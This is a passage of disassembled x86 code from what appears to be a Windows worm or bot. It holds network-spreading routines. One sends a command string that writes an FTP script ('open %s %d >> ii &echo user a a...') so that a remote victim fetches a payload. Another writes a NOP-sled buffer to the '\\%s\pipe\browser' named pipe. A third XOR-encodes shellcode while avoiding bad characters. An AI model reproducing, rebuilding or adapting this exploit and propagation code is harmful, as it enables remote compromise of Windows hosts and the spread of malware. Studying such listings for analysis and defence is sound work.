[esp+14h+arg_89C], eax loc_425A52: ; CODE XREF: sub_4257F0+1F1j mov ecx, 38Ah mov eax, 31313131h lea edi, [esp+14h+arg_14E0] mov ebp, [esp+14h+arg_8290] rep stosd movsx ecx, bl mov ebx, dword_511CA0 add ecx, 4 push 0 lea edx, [esp+18h+arg_28] push ecx push edx push ebp stosb call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425A96 xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425A96: ; CODE XREF: sub_4257F0+297j mov esi, dword_511CA4 push 0 lea eax, [esp+28h+arg_E90] push 640h push eax push ebp call esi ; recv push 0 push 68h push offset dword_44623C push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425ACC xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425ACC: ; CODE XREF: sub_4257F0+2CDj push 0 lea ecx, [esp+48h+arg_E70] push 640h push ecx push ebp call esi ; recv push 0 push 0A0h push offset dword_4462A8 push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425AFF xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425AFF: ; CODE XREF: sub_4257F0+300j push 0 lea edx, [esp+68h+arg_E50] push 640h push edx push ebp call esi ; recv mov eax, [esp+74h+arg_8234] test eax, eax jz loc_425BE5 mov ecx, 1Ah mov esi, offset dword_446460 lea edi, [esp+74h+arg_6098] push 0 rep movsd mov ecx, 6D6h lea esi, [esp+78h+arg_2464] lea edi, [esp+78h+arg_6100] lea eax, [esp+78h+arg_6098] rep movsd movsw mov ecx, 1Ch mov esi, offset dword_4464CC lea edi, [esp+78h+arg_3FC0] push 10FCh rep movsd mov ecx, 297h lea esi, [esp+7Ch+arg_34F8] lea edi, [esp+7Ch+arg_4030] push eax rep movsd movsw mov ecx, 21h mov esi, offset dword_446540 lea edi, [esp+80h+arg_4AF4] push ebp rep movsd call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425BAB xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_4257F0+3ACj push 0 lea ecx, [esp+88h+arg_E30] push 640h push ecx push ebp nop call near ptr 71AB615Ah push 0 lea edx, [esp+98h+arg_3FA0] push 0FDCh push edx push ebp call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425BE5: ; CODE XREF: sub_4257F0+32Aj mov ecx, 1Fh mov esi, offset dword_44634C lea edi, [esp+74h+arg_1480] push 0 rep movsd mov ecx, 1F4h lea esi, [esp+78h+arg_90] lea edi, [esp+78h+arg_14FC] lea eax, [esp+78h+arg_1480] rep movsd mov ecx, 24h mov esi, offset off_4463CC lea edi, [esp+78h+arg_1CCC] push 0CF8h push eax push ebp rep movsd mov [esp+84h+arg_2177], 0 call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_425C4C xor al, al pop edi pop esi pop ebp pop ebx add esp, 81D8h retn ; --------------------------------------------------------------------------- loc_425C4C: ; CODE XREF: sub_4257F0+3E6j ; sub_4257F0+44Dj push 12Ch call near ptr 283030Ah nop sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+164h+arg_8140] mov edi, esp rep movsd movsw call sub_4013BB add esp, 0BCh test al, al pop edi pop esi pop ebp pop ebx setnz al add esp, 81D8h retn sub_4257F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 130h dup(0CCh) ; --------------------------------------------------------------------------- loc_425DC0: ; CODE XREF: ___:00401DCAj sub esp, 650h xor eax, eax push ebx mov [esp+4], eax push esi mov [esp+0Ch], eax lea ecx, [esp+660h] push edi mov [esp+14h], eax push ecx mov [esp+1Ch], eax mov word ptr [esp+10h], 2 nop call near ptr 71AB2BF4h mov edx, [esp+6FEh] mov [esp+10h], eax push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [esp+1Ah], ax nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_425E26 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E26: ; CODE XREF: ___:00425E18j lea eax, [esp+0Ch] push 10h push eax push ebx nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_425E45 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E45: ; CODE XREF: ___:00425E37j mov edi, dword_511CA0 push 0 push 89h push offset dword_445FC0 push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425E6B xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425E6B: ; CODE XREF: ___:00425E5Dj mov esi, dword_511CA4 push 0 lea ecx, [esp+20h] push 640h push ecx push ebx call esi ; recv push 0 push 0A8h push offset dword_44604C push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425EA0 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EA0: ; CODE XREF: ___:00425E92j push 0 lea edx, [esp+20h] push 640h push edx push ebx call esi ; recv push 0 push 0DEh push offset dword_4460F8 push ebx call edi ; send cmp eax, 0FFFFFFFFh jnz short loc_425ECF xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425ECF: ; CODE XREF: ___:00425EC1j push 0 lea eax, [esp+20h] push 640h push eax push ebx call esi ; recv movsx eax, byte ptr [esp+60h] sub eax, 30h jz short loc_425EFB dec eax jz short loc_425EF7 xor eax, eax pop edi pop esi pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- loc_425EF7: ; CODE XREF: ___:00425EE9j push 0 jmp short loc_425F2E ; --------------------------------------------------------------------------- loc_425EFB: ; CODE XREF: ___:00425EE6j push 2 push ebx sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h test al, al jz short loc_425F2C mov esi, 1 jmp short loc_425F5A ; --------------------------------------------------------------------------- loc_425F2C: ; CODE XREF: ___:00425F23j push 1 loc_425F2E: ; CODE XREF: ___:00425EF9j push ebx mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+724h] mov edi, esp rep movsd movsw call sub_40180C add esp, 0C4h neg al sbb eax, eax neg eax mov esi, eax loc_425F5A: ; CODE XREF: ___:00425F2Aj push ebx nop call near ptr 71AB9639h test esi, esi jz short loc_425F88 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+71Ch] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425F88: ; CODE XREF: ___:00425F63j pop edi pop esi mov eax, 1 pop ebx add esp, 650h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426020: ; CODE XREF: ___:00401E51j push edi push 0C8h nop call near ptr 283030Ah mov edx, [esp+0Ch] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+8] push 0 not ecx dec ecx push ecx push edx push eax nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh pop edi setnz al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426070 proc near ; CODE XREF: sub_401A55j var_5A0 = dword ptr -5A0h var_59C = dword ptr -59Ch var_598 = dword ptr -598h var_594 = dword ptr -594h var_590 = byte ptr -590h var_400 = byte ptr -400h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_BC = dword ptr 0C0h sub esp, 5A0h xor eax, eax push ebx mov [esp+5A4h+var_5A0], eax push ebp mov [esp+5A8h+var_59C], eax push esi lea ecx, [esp+5ACh+arg_4] push edi mov [esp+5B0h+var_598], eax push ecx mov [esp+5B4h+var_594], eax mov word ptr [esp+5B4h+var_5A0], 2 call near ptr 71AB2BF4h nop mov edx, [esp+5B0h+arg_BC] mov [esp+5B0h+var_59C], eax push edx call near ptr 71AB2B66h nop push 0 push 1 push 2 mov word ptr [esp+5BCh+var_5A0+2], ax nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4260D8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260D8: ; CODE XREF: sub_426070+59j lea eax, [esp+5B0h+var_5A0] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_4260F8 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4260F8: ; CODE XREF: sub_426070+79j push 0 lea ecx, [esp+5B4h+var_400] push 400h push ecx push esi call near ptr 71AB615Ah nop mov ecx, offset byte_449521 call sub_4017EE push eax mov ecx, offset byte_449521 call sub_4017EE mov edx, dword_44965F push eax mov eax, [esp+5B8h+arg_0] push edx push eax call sub_401E10 mov ebx, dword_511AE4 add esp, 4 lea ecx, [esp+5BCh+var_590] push eax push offset aOpenSDIiEchoUs ; "open %s %d >> ii &echo user a a >> ii &"... push 190h push ecx call ebx ; _snprintf lea edi, [esp+5CCh+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 1Ch repne scasb mov ebp, dword_511CA0 push 0 not ecx dec ecx lea edx, [esp+5B4h+var_590] push ecx push edx push esi call ebp ; send cmp eax, 0FFFFFFFFh jnz short loc_426187 pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_426187: ; CODE XREF: sub_426070+108j push 1F4h nop call near ptr 283030Ah mov ecx, offset byte_449521 call sub_4017EE push eax push offset aS_3 ; "%s\r\n" lea eax, [esp+5B8h+var_590] push 190h push eax call ebx ; _snprintf lea edi, [esp+5C0h+var_590] or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx lea ecx, [esp+5B8h+var_590] push ecx push esi call ebp ; send cmp eax, 0FFFFFFFFh jnz short loc_4261DC pop edi pop esi pop ebp xor al, al pop ebx add esp, 5A0h retn ; --------------------------------------------------------------------------- loc_4261DC: ; CODE XREF: sub_426070+15Dj push 0 lea edx, [esp+5B4h+var_400] push 400h push edx push esi call near ptr 71AB615Ah nop push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 5A0h retn sub_426070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_426280: ; CODE XREF: ___:00402199j mov eax, 1E88h call sub_437B30 push esi push edi mov ecx, 20Ch xor eax, eax lea edi, [esp+238h] mov esi, offset dword_4469BC rep stosd mov ecx, 0FAh mov eax, 90909090h lea edi, [esp+0A68h] mov edx, dword_51011C rep stosd mov ecx, 56h lea edi, [esp+0CDEh] rep movsd mov eax, dword_446C34 mov ecx, 10h movsw movsb lea edi, [esp+0E50h] mov esi, offset dword_44696C rep stosd mov eax, dword_446C2C mov ecx, 0Bh lea edi, [esp+238h] rep movsd mov ecx, 10Ah lea esi, [esp+0A68h] lea edi, [esp+270h] mov [esp+264h], eax mov [esp+268h], edx mov [esp+26Ch], eax rep movsd mov ecx, 7 mov esi, offset dword_44699C lea edi, [esp+69Ch] mov ax, word_446C28 mov [esp+698h], edx lea edx, [esp+30h] rep movsd mov esi, dword_511AE4 lea ecx, [esp+1E98h] push ecx push offset dword_446908 push 104h push edx mov [esp+6BCh], ax call esi ; _snprintf add esp, 10h xor edi, edi lea ecx, [esp+10h] lea eax, [esp+30h] push edi push offset byte_448F40 push offset byte_448F40 push ecx mov [esp+24h], edi mov [esp+30h], edi mov [esp+3Ch], edi mov [esp+34h], eax call sub_4382AA ; --------------------------------------------------------------------------- test eax, eax jz short loc_4263A5 or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263A5: ; CODE XREF: ___:00426397j lea edx, [esp+1E98h] lea eax, [esp+134h] push edx push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push 104h push eax call esi ; _snprintf add esp, 10h lea ecx, [esp+134h] push edi push edi push 3 push edi push edi push 0C0000000h push ecx nop call near ptr 28503BDh mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4263EF or eax, eax pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_4263EF: ; CODE XREF: ___:004263E2j lea edx, [esp+0Ch] push edi push edx lea eax, [esp+0E98h] push 1000h push eax push 49h push offset dword_446920 push esi nop call near ptr 2780000h test eax, eax jnz short loc_426427 push esi nop call near ptr 28309C5h or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426427: ; CODE XREF: ___:00426412j lea ecx, [esp+8] push edi push ecx lea edx, [esp+240h] push 830h push edx push esi call near ptr 27E0000h nop test eax, eax jnz short loc_426458 push esi call near ptr 28309C5h nop or eax, 0FFFFFFFFh pop edi pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- loc_426458: ; CODE XREF: ___:00426443j push 115Ch mov ecx, 2Eh sub esp, 0BCh lea esi, [esp+1F54h] mov edi, esp rep movsd movsw call sub_401A55 add esp, 0C0h neg al sbb eax, eax pop edi neg eax pop esi add esp, 1E88h retn ; --------------------------------------------------------------------------- db 90h db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426520 proc near ; CODE XREF: sub_4013CAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_426520 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426560 proc near ; CODE XREF: sub_401794j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013CA mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_426585 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426585: ; CODE XREF: sub_426560+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_446C6C mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_446CD0, ecx lea ecx, [eax+1] mov dword_446CF1, ecx lea ecx, [eax+17h] mov dword_446CE9, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_446CFF, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_446CE0 lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_446CE4 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_446CE5 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_446CE9 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_446CED mov [ecx+8], esi mov esi, dword_446CF1 mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_446CF5 rep movsd pop edi pop ebp pop esi pop ebx retn sub_426560 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4266D0 proc near ; CODE XREF: sub_402180j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013CA push eax call sub_4017C6 add esp, 0Ch retn sub_4266D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_426700: ; CODE XREF: ___:0040173Fj push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402180 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_426723 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426723: ; CODE XREF: ___:0042671Bj cmp eax, 0FFFFh jbe short loc_426730 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426730: ; CODE XREF: ___:00426728j push esi push edi push ebx call sub_4013CA add eax, 101h push eax call near ptr 77C2C407h nop add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013CA add esp, 8 push eax push esi call sub_401794 push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B8B push esi mov edi, eax nop call near ptr 77C2C21Bh add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267A0 proc near ; CODE XREF: sub_4017C6j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4267A9 inc ecx loc_4267A9: ; CODE XREF: sub_4267A0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4267A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267D0 proc near ; CODE XREF: sub_401B8Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4267E8 cmp bl, 0Dh jz short loc_4267E8 cmp bl, 5Ch jz short loc_4267E8 test bl, bl jnz short loc_4267E9 loc_4267E8: ; CODE XREF: sub_4267D0+8j ; sub_4267D0+Dj ... inc ebx loc_4267E9: ; CODE XREF: sub_4267D0+16j cmp ebx, 0FFh jbe short loc_42680C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_426806 cmp al, 0Dh jz short loc_426806 cmp al, 5Ch jz short loc_426806 test al, al jnz short loc_42680C loc_426806: ; CODE XREF: sub_4267D0+28j ; sub_4267D0+2Cj ... add ebx, 100h loc_42680C: ; CODE XREF: sub_4267D0+1Fj ; sub_4267D0+34j push ebx call sub_4017C6 mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_426825 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426825: ; CODE XREF: sub_4267D0+4Fj cmp eax, 0FFFFh jbe short loc_426830 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_426830: ; CODE XREF: sub_4267D0+5Aj mov al, byte_510124 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_426860 loc_426841: ; CODE XREF: sub_4267D0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_426857 cmp cl, 0Ah jz short loc_426857 cmp cl, 0Dh jz short loc_426857 cmp cl, 5Ch jnz short loc_42685B loc_426857: ; CODE XREF: sub_4267D0+76j ; sub_4267D0+7Bj ... inc al xor edx, edx loc_42685B: ; CODE XREF: sub_4267D0+85j inc edx cmp edx, ebx jb short loc_426841 loc_426860: ; CODE XREF: sub_4267D0+6Fj cmp ebx, 0FFh push edi mov byte_510124, al ja short loc_426893 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C54 mov edi, edx mov byte_446C61, bl mov byte_446C65, al rep movsd movsb mov esi, 15h jmp short loc_4268B9 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_4267D0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_446C3C mov edi, edx mov word_446C4A, bx mov byte_446C4F, al rep movsd movsw movsb mov esi, 17h loc_4268B9: ; CODE XREF: sub_4267D0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4268CF add esi, edx loc_4268C2: ; CODE XREF: sub_4267D0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4268C2 loc_4268CF: ; CODE XREF: sub_4267D0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4267D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426930 proc near ; CODE XREF: sub_401E3Dj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_44B1AF[eax*4], ecx mov dword_44B19B[eax*4], ecx mov dword_44B19F[eax*4], ecx mov dword_44B1A3[eax*4], ecx mov dword_44B1A7[eax*4], ecx mov dword_44B1AB[eax*4], ecx mov byte_44AF9B[eax*4], cl mov byte_44B1B3[eax*4], cl retn sub_426930 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4269A0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_426A57 cmp ecx, 400h jge loc_426A57 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_44B1AF[esi*4] push eax call near ptr 2770713h nop cmp dword_44B1AF[esi*4], ebx jz short loc_4269E8 mov ebp, 1 loc_4269E8: ; CODE XREF: sub_4269A0+41j mov dword_44B1AF[esi*4], ebx mov dword_44B19B[esi*4], ebx mov dword_44B19F[esi*4], ebx mov eax, dword_44B1A3[esi*4] cmp eax, ebx jbe short loc_426A11 push eax call sub_401C80 add esp, 4 loc_426A11: ; CODE XREF: sub_4269A0+66j mov edi, dword_511C9C mov dword_44B1A3[esi*4], ebx mov byte_44AF9B[esi*4], bl mov byte_44B1B3[esi*4], bl mov ecx, dword_44B1A7[esi*4] push ecx call edi ; closesocket mov dword_44B1A7[esi*4], ebx mov edx, dword_44B1AB[esi*4] lea esi, ds:44B1ABh[esi*4] push edx call edi ; closesocket mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_426A57: ; CODE XREF: sub_4269A0+Cj ; sub_4269A0+18j mov eax, ebp pop ebp pop ebx retn sub_4269A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A90 proc near ; CODE XREF: sub_401DA7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_44B19F loc_426AA1: ; CODE XREF: sub_426A90+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_426AD5 test ebx, ebx jle short loc_426AC7 cmp [esi], ebx jz short loc_426AB8 cmp edi, ebx jnz short loc_426AD5 loc_426AB8: ; CODE XREF: sub_426A90+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 jmp short loc_426AD4 ; --------------------------------------------------------------------------- loc_426AC7: ; CODE XREF: sub_426A90+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_426AD5 loc_426AD4: ; CODE XREF: sub_426A90+35j inc ebp loc_426AD5: ; CODE XREF: sub_426A90+1Aj ; sub_426A90+26j ... add esi, 234h inc edi cmp esi, offset byte_4D819F jl short loc_426AA1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_426A90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B10 proc near ; CODE XREF: sub_401C80j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 call near ptr 2700000h nop mov esi, eax test esi, esi jz short loc_426B45 push 0 push esi nop call near ptr 27904D9h test eax, eax jnz short loc_426B45 push esi xor edi, edi nop call near ptr 28309C5h loc_426B45: ; CODE XREF: sub_426B10+1Dj ; sub_426B10+2Aj mov eax, edi pop edi pop esi retn sub_426B10 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B60 proc near ; CODE XREF: sub_40148Dj arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_44B19B loc_426B6B: ; CODE XREF: sub_426B60+1Cj cmp [ecx], edx jnz short loc_426B70 inc eax loc_426B70: ; CODE XREF: sub_426B60+Dj add ecx, 234h cmp ecx, offset byte_4D819B jl short loc_426B6B retn sub_426B60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B90 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_44B19B loc_426B9E: ; CODE XREF: sub_426B90+1Fj cmp [ecx], edx jz short loc_426BB3 add ecx, 234h inc eax cmp ecx, offset byte_4D819B jl short loc_426B9E mov eax, esi loc_426BB3: ; CODE XREF: sub_426B90+10j pop esi retn sub_426B90 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426BD0 proc near ; CODE XREF: sub_401BEAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_44AF9B loc_426BD8: ; CODE XREF: sub_426BD0+18j cmp byte ptr [eax], 0 jz short loc_426BEE add eax, 234h inc edi cmp eax, offset dword_4D7F9B jl short loc_426BD8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_426BEE: ; CODE XREF: sub_426BD0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:44AF9Bh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi call near ptr 77C47A90h nop mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_426BD0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426C70 proc near ; CODE XREF: sub_401613j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426C70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_426C70 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 13h push 0Fh push 4 lea eax, [esp+2Ch] push 4 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8Eh push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 